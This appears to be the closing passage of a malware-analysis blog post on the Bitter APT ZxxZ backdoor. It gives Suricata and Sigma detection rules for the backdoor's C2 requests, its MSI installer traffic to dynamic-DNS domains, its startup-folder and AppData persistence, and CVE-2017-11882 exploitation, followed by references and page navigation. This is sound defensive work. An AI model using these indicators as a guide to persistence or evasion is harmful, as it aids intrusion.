	content:"GET"; http_method;
	content:"ZxxZ"; http_uri; fast_pattern;
	pcre:"/=(RNG|DN-S|S|RN_E)/U";
	flow:to_server, established;
	reference:url, https://c3rb3ru5d3d53c.github.io/malware-blog/2022-07-04-bitter-apt-zxxz-backdoor/;
	metadata:created 2022-06-30, type malware.backdoor, os windows, tlp white;
	classtype:trojan-activity;
	sid:1000017;
	rev:1;
)
alert http $HOME_NET any -> $EXTERNAL_NET any (
	msg:"HEURISTIC Suspicious MSI Installer Activity";
	content:"GET"; http_method;
	content:"Windows Installer"; http_user_agent; fast_pattern;
	pcre:"/\.com\.pk|xyz|tk|top|hopto\.org|linkpc\.net|portmap\.io|ngrok\.io|ddns\.net|duckdns\.org)$/W";
	flow:to_server, established;
	reference:url, https://c3rb3ru5d3d53c.github.io/malware-blog/2022-07-04-bitter-apt-zxxz-backdoor/;
	metadata:created 2022-07-04, type heuristic, os windows, tlp white;
	classtype:misc-attack;
	sid:1000015;
	rev:1;
)



SIGMA

id: eb65d88b-3f45-4ed4-bb51-23b39bbcf9e3
title: HEURISTIC Suspicious Startup File Created
description: Detects suspicious startup files being created
reference: https://c3rb3ru5d3d53c.github.io/malware-blog/2022-07-04-bitter-apt-zxxz-backdoor/
author: c3rb3ru5d3d53c
created: 2022-06-30
type: heuristic
os: windows
tlp: white
rev: 1
logsource:
  product: windows
  category: file_creation
detection:
  selection_0:
    TargetFilename|contains:
      - '\Start Menu\Programs\Startup\'
  selection_1:
    TargetFilename|endswith:
      - '\update.LNK'
  condition: selection_0 and selection_1
falsepositives:
  - Unknown


id: c2b9e035-f225-49f9-8161-776b64ab16d0
title: HEURISTIC Suspicious Process Created in AppData Folder
description: Detects suspicious startup files being created
reference: https://c3rb3ru5d3d53c.github.io/malware-blog/2022-07-04-bitter-apt-zxxz-backdoor/
author: c3rb3ru5d3d53c
created: 2022-06-30
type: heuristic
os: windows
tlp: white
rev: 1
logsource:
  product: windows
  category: process_creation
detection:
  selection_0:
    Image|contains:
      - '\AppData\Local\'
  selection_1:
    Image|endswith:
      - '\tmp.exe'
  condition: selection_0 and selection_1
falsepositives:
  - Unknown


id: 653014f7-1b43-4355-8616-c521baac9bf4
title: EXPLOIT Equation Editor Exploit RCE (CVE-2017-11882)
description: Detects exploitation of CVE-2017-11882
reference: https://c3rb3ru5d3d53c.github.io/malware-blog/2022-07-04-bitter-apt-zxxz-backdoor/
created: 2022-07-04
type: exploit.rce
os: windows
tlp: white
rev: 1
logsource:
  category: process_creation
  product: windows
detection:
  selection_0:
    ParentImage|endswith:
	  - '\EQNEDT32.EXE'
  condition: selection_0
falsepositives:
  - Unknown


All these signatures are available on my signatures GitHub repository.


REFERENCES

 * ShadowChasing1 Tweet
 * Bitter APT adds Bangladesh to their targets
 * Whatever floats your Boat – Bitter APT continues to target Bangladesh
 * Bitter APT Operation Magichm

#bitter #hazytiger #t-apt-17 #apt-c-08 #asia #pakistan #apt #maldoc #payload
#reversing #malware #analysis


C3R3B3RU5D3D53C

I have acquired over my career, skills that make me a nightmare for threat
actors.
Previous Reversing Additional Lockbit 3.0 API Hashing
Next Qakbot/QBot Downloader


ON THIS PAGE

 * Introduction
 * Analysis
   * Situational Awareness
   * Infection Chain
   * Exploitation
     * Extracting Shellcode
     * Shellcode Analysis
   * Post Exploitation
     * MSI Installer
     * Payload Triage
     * Initialization
     * Persistence
     * C2 Communication
       * Behavior
       * C2 Responses
       * C2 Server Code
       * Proof of Concept (PoC)
       * Summary
 * Configuration Extraction
 * Classification
 * Conclusion
 * Downloads
 * Indicators
   * Static
   * TTPs
   * Graph
 * Detection
   * YARA
   * Suricata
   * Sigma
 * References


SEE ALSO

CheatSheet
Malware Analysis for Beginners
KVM Malware Lab Guide
Qakbot/QBot Downloader
ViperSoftx Vjw0rm Variant
Mr. Robot Variant of Vjw0rm


© 2022 c3rb3ru5d3d53c · Powered by the Eureka theme for Hugo